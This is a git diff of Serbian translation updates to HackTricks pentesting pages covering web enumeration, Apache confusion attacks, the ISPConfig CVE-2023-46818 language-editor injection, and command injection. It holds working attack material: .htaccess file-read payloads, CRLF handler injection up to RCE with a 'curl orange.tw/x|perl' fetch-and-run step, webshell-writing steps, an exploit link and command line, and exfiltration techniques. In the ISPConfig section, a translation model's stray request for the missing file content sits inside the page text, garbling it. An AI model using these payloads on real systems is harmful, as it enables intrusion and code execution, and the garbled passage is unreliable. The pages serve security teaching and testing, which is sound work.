fajlove sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da vidite da li su ranjivi. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- U više navrata biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex) -- Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametrima ili pojavljivanje nove forme može ukazivati na potencijalno novu ranjivu funkcionalnost. +- U mnogim slučajevima, biće potrebno **razumeti regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex) +- Takođe možete **monitorovati fajlove gde su detektovane forme**, jer promena u parametru ili pojava nove forme može ukazivati na potencijalno novu ranjivost. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,21 +312,21 @@ Tokom izvođenja **spidering** i **brute-forcing** možete naići na **interesan **502 Proxy Error** -Ako neka stranica **odgovori** tim **kodom**, verovatno je loše konfigurisan proxy. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i ostalim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i tada ste pronašli** SSRF. +Ako neka stranica **odgovori** tim **kodom**, verovatno je u pitanju **pogrešno konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da pristupi _**google.com**_ **i time ste verovatno pronašli** SSRF. **NTLM Authentication - Info disclosure** -Ako server koji traži autentifikaciju radi na **Windows** ili nađete login koji traži vaše **credentials** (i traži i **domain** **name**), možete izazvati **otkrivanje informacija**.\ -**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM authentication** radi, server će u header-u "WWW-Authenticate" odgovoriti internim informacijama (IIS version, Windows version...).\ -Možete ovo **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_". +Ako server koji zahteva autentifikaciju radi na **Windows-u** ili nađete login koji traži vaše **credentials** (i traži **domain** **name**), možete izazvati **otkrivanje informacija**.\ +**Pošaljite** header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji funkcioniše **NTLM authentication**, server će odgovoriti sa internim informacijama (IIS verzija, Windows verzija...) unutar header-a "WWW-Authenticate".\ +Ovo možete **automatizovati** koristeći **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Moguće je **ubaciti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu. +Moguće je **staviti sadržaj** unutar **Redirection**. Taj sadržaj **neće biti prikazan korisniku** (jer će browser izvršiti redirekciju) ali nešto može biti **sakriveno** u njemu. ### Web Vulnerabilities Checking -Sad kada je izvršena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri veliki broj mogućih ranjivosti. Možete pronaći checklist ovde: +Sada kada je urađena sveobuhvatna enumeracija web aplikacije, vreme je da se proveri mnoštvo mogućih ranjivosti. Checklist možete naći ovde: {{#ref}} @@ -342,7 +341,7 @@ Više informacija o web vuln-ovima: ### Monitor Pages for changes -Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica radi modifikacija koje bi mogle uvesti ranjivosti. +Možete koristiti alate kao što je [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica na izmene koje bi mogle ubaciti ranjivosti. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index e49d5c0c6..477efa20a 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Izvršne PHP ekstenzije -Proverite koje ekstenzije izvršava Apache server. Da biste ih pronašli, možete izvršiti: +Proverite koje PHP ekstenzije izvršava Apache server. Da biste ih pronašli, možete izvršiti: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Takođe, neka mesta na kojima možete pronaći ovu konfiguraciju su: +Takođe, neka mesta gde možete pronaći ovu konfiguraciju su: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -23,12 +23,12 @@ Linux ``` ## LFI putem .htaccess ErrorDocument file provider (ap_expr) -Ako možete kontrolisati .htaccess direktorijuma i AllowOverride uključuje FileInfo za taj put, možete pretvoriti 404 odgovore u proizvoljna čitanja lokalnih fajlova koristeći ap_expr file() funkciju unutar ErrorDocument. +Ako možete kontrolisati direktorijumov .htaccess i AllowOverride uključuje FileInfo za taj put, možete pretvoriti 404 odgovore u proizvoljna lokalna čitanja fajlova koristeći ap_expr file() function unutar ErrorDocument. - Zahtevi: -- Apache 2.4 sa omogućеним expression parserom (ap_expr) (podrazumevano u 2.4). +- Apache 2.4 sa omogućenim parserom izraza (ap_expr) (podrazumevano u 2.4). - vhost/dir mora dozvoliti .htaccess da postavi ErrorDocument (AllowOverride FileInfo). -- Korisnik koji pokreće Apache mora imati prava čitanja na ciljani fajl. +- Apache worker user mora imati dozvole za čitanje na ciljnom fajlu. .htaccess payload: ```apache @@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Aktivirajte to tako što ćete zatražiti bilo koju nepostojeću putanju ispod tog direktorijuma, na primer kada zloupotrebljavate userdir-style hosting: +Pokrenite tako što ćete zatražiti bilo koju nepostojeću putanju ispod tog direktorijuma, na primer pri zloupotrebi userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Napomene i saveti: -- Only absolute paths work. The content is returned as the response body for the 404 handler. -- Efektivna prava za čitanje su prava Apache user-a (tipično www-data/apache). Nećete moći da pročitate /root/* ili /etc/shadow u podrazumevanim podešavanjima. -- Čak i ako je .htaccess u vlasništvu root-a, ako je roditeljski direktorijum u vlasništvu tenant-a i dozvoljava rename, možda ćete moći da preimenujete originalni .htaccess i otpremite sopstvenu zamenu putem SFTP/FTP: +- Samo apsolutne putanje rade. Sadržaj se vraća kao response body za 404 handler. +- Efektivna prava za čitanje su ona korisnika Apache (tipično www-data/apache). Nećete čitati /root/* ili /etc/shadow u podrazumevanim podešavanjima. +- Čak i ako .htaccess pripada root-u, ako je roditeljski direktorijum u vlasništvu tenanta i dozvoljava preimenovanje, možda ćete moći da preimenujete originalni .htaccess i otpremite svoju zamenu putem SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Iskoristite ovo da pročitate izvor aplikacije ispod DocumentRoot ili vhost config putanja kako biste prikupili tajne (DB creds, API keys, itd.). +- Iskoristite ovo za čitanje izvornog koda aplikacije ispod DocumentRoot ili vhost config putanja kako biste prikupili tajne (DB creds, API keys, etc.). ## Confusion Attack @@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). To nije potpuno pogrešno jer većina modula tretira `r->filename` kao URL. Ali u drugim slučajevima to će biti tretirano kao putanja do fajla, što može izazvati problem. -### Path Truncation +- **Path Truncation** -It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: +Moguće je zloupotrebiti `mod_rewrite` kao u sledećem primeru pravila da se pristupi drugim fajlovima unutar fajl sistema, uklanjanjem poslednjeg dela očekivane putanje jednostavnim dodavanjem `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Mislead RewriteFlag Assignment** +- **Zavaravajuća dodela RewriteFlag** -U sledećem rewrite pravilu, sve dok URL završava sa .php biće tretiran i izvršen kao php. Stoga je moguće poslati URL koji se završava sa .php nakon znaka `?` dok u putanju učitavate drugačiji tip fajla (like an image) sa zlonamernim php kodom unutra: +U sledećem rewrite rule-u, sve dok URL završava sa .php biće tretiran i izvršen kao php. Stoga je moguće poslati URL koji se završava sa .php nakon `?` karaktera dok se u putanji učitava drugačiji tip fajla (npr. slika) sa malicioznim php kodom unutar njega: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Moguće je pristupiti fajlovima kojima korisnik ne bi trebalo da može pristupiti, čak i kada pristup treba biti onemogućen konfiguracijama poput: +Moguće je pristupiti fajlovima kojima korisnik ne bi smeo da pristupi, čak i када konfiguracija treba da onemogući pristup, sa podešavanjima kao što su: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Ovo je zato što PHP-FPM po podrazumevanju prima URL-ove koji se završavaju na `.php`, kao `http://server/admin.php%3Fooo.php`, i zato što PHP-FPM uklanja sve što dolazi posle karaktera `?`, pomenuti URL će omogućiti učitavanje `/admin.php` čak i ako je prethodno pravilo to zabranilo. +Ovo je zato što će po defaultu PHP-FPM primati URL-ove koji se završavaju na `.php`, kao što je `http://server/admin.php%3Fooo.php`, i pošto PHP-FPM uklanja sve posle karaktera `?`, prethodni URL će omogućiti učitavanje `/admin.php` čak i ako je prethodno pravilo to zabranilo. -### Zbunjenost oko DocumentRoot +### Confuzija oko DocumentRoot-a ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Zanimljivost vezana za Apache je da prethodni rewrite pokušava da pristupi fajlu i iz documentRoot i iz root. Dakle, zahtev za `https://server/abouth.html` će proveriti fajl u `/var/www/html/about.html` i `/about.html` u file system-u. Što u suštini može da se zloupotrebi za pristup fajlovima u file system-u. +Zanimljiva činjenica o Apacheu je da prethodni rewrite pokušava da pristupi fajlu i iz documentRoot i iz root-a. Dakle, zahtev ka `https://server/abouth.html` će proveriti fajl u `/var/www/html/about.html` i `/about.html` u fajl sistemu. Što u suštini može biti zloupotrebljeno za pristup fajlovima u fajl sistemu. -#### **Otkrivanje izvornog koda na serverskoj strani** +#### **Otkrivanje serverskog izvornog koda** -- **Otkrivanje izvornog koda CGI** +- **Otkrivanje CGI izvornog koda** -Dovoljno je dodati %3F na kraj da bi se desio leak izvornog koda cgi modula: +Dovoljno je dodati %3F na kraj da bi došlo do leak-a izvornog koda cgi modula: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Otkrivanje PHP Source Code** +- **Otkrivanje PHP izvornog koda** -Ako server ima više domena, pri čemu je jedan od njih statički domen, to se može zloupotrebiti da se pretraži fajl sistem i leak php code: +Ako server ima više domena, pri čemu je jedna od njih statična domena, to se može zloupotrebiti za pretraživanje fajl sistema i leak PHP code: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" @@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" ``` #### **Local Gadgets Manipulation** -Glavni problem prethodnog napada je što će, po podrazumevanoj konfiguraciji, većina pristupa fajl sistemu biti odbijena, kao u Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Glavni problem prethodnog napada je što će, po defaultu, pristup većini delova fajl sistema biti odbijen, kao u Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None @@ -149,7 +149,7 @@ Require all granted ``` Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** -**Lokalni gadget za Information Disclosure** +**Local Gadget to Information Disclosure** - **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. - Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: @@ -157,26 +157,26 @@ Therefore, it would be possible to **abuse files located inside `/usr/share` in - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Lokalni gadget za XSS** +**Local Gadget to XSS** - On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. -**Lokalni gadget za LFI** +**Local Gadget to LFI** - If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Lokalni gadget za SSRF** +**Local Gadget to SSRF** - Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. -**Lokalni gadget za RCE** +**Local Gadget to RCE** - Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation. -#### **Jailbreak iz lokalnih gadgeta** +#### **Jailbreak from Local Gadgets** It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: @@ -194,7 +194,7 @@ This attack exploits the overlap in functionality between the `AddHandler` and ` Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. -#### **Prepisivanje handler-a radi otkrivanja PHP izvornog koda** +#### **Overwrite Handler to Disclose PHP Source Code** In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\ Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it. @@ -203,7 +203,7 @@ Because ModSecurity doesn't properly handle return values, it would return the P TODO: Orange hasn't disclose this vulnerability yet -### **Pozivanje proizvoljnih handler-a** +### **Invoke Arbitrary Handlers** If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed @@ -216,7 +216,7 @@ Therefore, to perform this attack is needed one of the following vulns: - CRLF Injection in the CGI response headers - SSRF with complete control of the response headers -#### **Proizvoljni handler za Information Disclosure** +#### **Arbitrary Handler to Information Disclosure** For example `/server-status` should only be accessible locally: ```xml @@ -225,16 +225,16 @@ SetHandler server-status Require local ``` -Moguće je pristupiti tome podešavanjem `Content-Type` na `server-status` i Location header-a koji počinje sa `/`. +Moguće je pristupiti tome postavljanjem `Content-Type` na `server-status` i Location zaglavlja koje počinje sa `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitrary Handler to Full SSRF** +#### **Od proizvoljnog handlera do potpune SSRF** -Preusmeravanje na `mod_proxy` da bi se pristupilo bilo kom protokolu na bilo kom URL-u: +Preusmeravanje na `mod_proxy` da se pristupi bilo kom protokolu na bilo kom URL-u: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -243,9 +243,9 @@ http://example.com/%3F %0d%0a %0d%0a ``` -Međutim, header `X-Forwarded-For` je dodat, što onemogućava pristup krajnjim tačkama metapodataka cloud-a. +Međutim, zaglavlje `X-Forwarded-For` se dodaje, što onemogućava pristup krajnjim tačkama metapodataka u oblaku. -#### **Arbitrarni handler za pristup lokalnom Unix Domain Socket-u** +#### **Proizvoljni handler za pristup lokalnom Unix Domain Socket-u** Pristupite lokalnom Unix Domain Socket-u PHP-FPM-a da biste izvršili PHP backdoor koji se nalazi u `/tmp/`: ``` @@ -254,9 +254,9 @@ Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Arbitrary Handler to RCE** +#### **Arbitrary Handler do RCE** -Zvanična [PHP Docker](https://hub.docker.com/_/php) slika uključuje PEAR (`Pearcmd.php`), alat za upravljanje PHP paketima iz komandne linije, koji se može zloupotrebiti da bi se dobio RCE: +Zvanična [PHP Docker](https://hub.docker.com/_/php) slika uključuje PEAR (`Pearcmd.php`), alat za upravljanje PHP paketima iz komandne linije, koji se može zloupotrebiti za dobijanje RCE: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -265,9 +265,9 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Pogledajte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), koji je napisao [Phith0n](https://x.com/phithon_xg) za detalje ove tehnike. +Pogledajte [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), autora [Phith0n](https://x.com/phithon_xg), za detalje ove tehnike. -## Izvori +## References - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) - [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 1ecb228f5..0d9f42191 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -2,38 +2,38 @@ {{#include ../../banners/hacktricks-training.md}} -## Overview +## Pregled -ISPConfig je kontrolni panel za hosting otvorenog koda. Starije 3.2.x verzije su imale funkciju editora jezičkih fajlova koja je, kada je bila omogućena za super administratora, dozvoljavala ubacivanje proizvoljnog PHP koda putem malformisanog prevodilačkog zapisa. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, do eskalacije privilegija. +ISPConfig je open-source kontrolni panel za hosting. Starije 3.2.x verzije su imale opciju urednika jezičkih fajlova koja, kada je omogućena za super administratora, dozvoljavala arbitrary PHP code injection putem malformiranog zapisa prevoda. Ovo može dovesti do RCE u kontekstu web servera i, u zavisnosti od načina izvršavanja PHP-a, privilege escalation. -Key default paths: -- Web root often at `/var/www/ispconfig` when served with `php -S` or via Apache/nginx. -- Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed). +Ključne podrazumevane putanje: +- Web root se često nalazi na `/var/www/ispconfig` kada se servira sa `php -S` ili preko Apache/nginx. +- Admin UI dostupan na HTTP(S) vhost-u (ponekad vezan samo za localhost; koristite SSH port-forward ako je potrebno). -Tip: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga: +Savet: Ako je panel vezan lokalno (npr. `127.0.0.1:8080`), prosledite ga: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` -## Uređivač jezika PHP code injection (CVE-2023-46818) +## Language editor PHP code injection (CVE-2023-46818) -- Pogođeno: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) +- Pogođeno: ISPConfig do 3.2.11 (ispravljeno u 3.2.11p1) - Preduslovi: -- Prijavite se kao ugrađeni superadmin nalog `admin` (prema proizvođaču, druge uloge nisu pogođene) +- Prijavite se kao ugrađeni superadmin nalog `admin` (prema dobavljaču, druge uloge nisu pogođene) - Uređivač jezika mora biti omogućen: `admin_allow_langedit=yes` u `/usr/local/ispconfig/security/security_settings.ini` -- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl sa prevodom i izvršava od strane aplikacije, ostvarujući RCE u web kontekstu +- Uticaj: Autentifikovani admin može da ubaci proizvoljni PHP koji se upisuje u fajl jezika i izvršava od strane aplikacije, postižući RCE u web kontekstu References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below. ### Ručna procedura eksploatacije -1) Open/create a language file to obtain CSRF tokens +1) Otvorite/kreirajte fajl jezika da biste dobili CSRF tokene Pošaljite prvi POST da inicijalizujete formu i parsirate CSRF polja iz HTML odgovora (`csrf_id`, `csrf_key`). Primer putanje zahteva: `/admin/language_edit.php`. -2) Inject PHP via records[] and save +2) Injektujte PHP preko records[] i sačuvajte -Podnesite drugi POST uključujući CSRF polja i zlonamerni zapis prevoda. Minimalne probe za izvršavanje komandi: +Pošaljite drugi POST koji sadrži CSRF polja i maliciozni zapis prevoda. Minimalne provere za izvršavanje komandi: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 @@ -42,46 +42,46 @@ Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` -Van-kanalni test (posmatraj ICMP): +Out-of-band test (posmatrajte ICMP): ```http records[]= ``` -3) Pisanje fajlova i ubacivanje webshell-a +3) Kreiranje fajlova i postavljanje webshell-a -Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr. `admin/`): +Koristite `file_put_contents` da kreirate fajl u web-dostupnoj putanji (npr., `admin/`): ```http records[]= ``` -Zatim napiši jednostavan webshell koristeći base64 da izbegneš loše karaktere u POST telu: +Zatim napišite jednostavan webshell koristeći base64 da biste izbegli nepoželjne karaktere u POST telu: ```http records[]= ``` -Nedostaje sadržaj fajla. Pošaljite sadržaj src/network-services-pentesting/pentesting-web/ispconfig.md (ili nalepite tekst) koji želite da prevedem na srpski. +I don't have the contents of src/network-services-pentesting/pentesting-web/ispconfig.md. Please paste the file content you want translated (or attach it). I'll translate the English text to Serbian while keeping all markdown, code, links and tags unchanged as you requested. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` -Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` koji je pokrenuo root), to omogućava trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera. +Ako se PHP izvršava kao root (npr. preko `php -S 127.0.0.1:8080` pokrenutog od strane root), ovo daje trenutni root RCE. U suprotnom, dobijate izvršavanje koda kao korisnik web servera. ### Python PoC Spreman za upotrebu exploit automatizuje rukovanje tokenima i isporuku payload-a: -- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) +- https://github.com/bipbopbup/CVE-2023-46818-python-exploit Primer pokretanja: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` -### Ojačavanje +### Pojačavanje bezbednosti - Ažurirajte na 3.2.11p1 ili noviju verziju -- Onemogućite uređivač jezika osim ako nije strogo neophodan: +- Onemogućite uređivač jezika osim ako nije neophodan: ``` admin_allow_langedit=no ``` -- Izbegavajte pokretanje panela kao root; podesite PHP-FPM ili web server da spusti privilegije +- Izbegavajte pokretanje panela kao root; konfigurišite PHP-FPM ili web server da spuste privilegije - Obezbedite snažnu autentifikaciju za ugrađeni `admin` nalog -## References +## Izvori - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 9d769ca6d..b79f81409 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Šta je command Injection? -A **command injection** omogućava napadaču izvršavanje proizvoljnih komandi operativnog sistema na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da stekne neautorizovan pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. +A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti u potpunosti kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču sticanje neovlašćenog pristupa ili kontrole nad okruženjem aplikacije i osnovnim sistemom. ### Kontekst -U zavisnosti od **gde se vaš unos ubacuje** možda ćete morati da **prekinete kontekst unutar navoda** (koristeći `"` ili `'`) pre komandi. +U zavisnosti od **gde se vaš unos ubacuje**, možda ćete morati da **zatvorite navodnički kontekst** (koristeći `"` ili `'`) pre nego što unesete komande. ## Command Injection/Execution ```bash @@ -32,8 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Ograničenja** Bypasses -Ako pokušavate da izvršite **proizvoljne komande unutar linux mašine**, zanimaće vas da pročitate o ovim **Bypasses:** - +Ako pokušavate da izvršite **arbitrary commands inside a linux machine** možda će vas zanimati da pročitate o ovim **Bypasses:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -47,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parametri -Evo 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Evo 25 najčešćih parametara koji bi mogli biti ranjivi na code injection i slične RCE ranjivosti (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -77,7 +76,7 @@ Evo 25 parametara koji mogu biti ranjivi na code injection i slične RCE ranjivo ``` ### Time based data exfiltration -Ekstrakcija data: char po char +Ekstrakcija podataka: znak po znak ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +90,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Bazirano na alatu sa `https://github.com/HoLyVieR/dnsbin` koji je takođe hostovan na dnsbin.zhack.ca +Zasnovano na alatu sa `https://github.com/HoLyVieR/dnsbin`, koji je takođe hostovan na dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -106,7 +105,7 @@ Online alati za proveru DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in -### Filtriranje bypass +### Zaobilaženje filtera #### Windows ``` @@ -122,7 +121,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Prilikom audita JavaScript/TypeScript backend-ova često ćete naići na Node.js `child_process` API. +Prilikom audita JavaScript/TypeScript back-endova često ćete naići na Node.js `child_process` API. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -130,9 +129,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* … */ }); ``` -`exec()` pokreće **shell** (`/bin/sh -c`), zato će svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) dovesti do **command injection** kada se korisnički unos konkatenira u string. +`exec()` pokreće **shell** (`/bin/sh -c`), zato će bilo koji karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) rezultirati **command injection** kada se korisnički unos konkatenira u string. -**Ublažavanje:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen: +**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i prosledite **svaki argument kao zaseban element niza** tako da shell nije uključen: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -140,7 +139,7 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Stvarni slučaj: *Synology Photos* ≤ 1.7.0-0794 bio je ranjiv putem neautentifikovanog WebSocket događaja koji je smestio podatke kontrolisane od strane napadača u `id_user`, a koji su kasnije ubačeni u poziv `exec()`, ostvarivši RCE 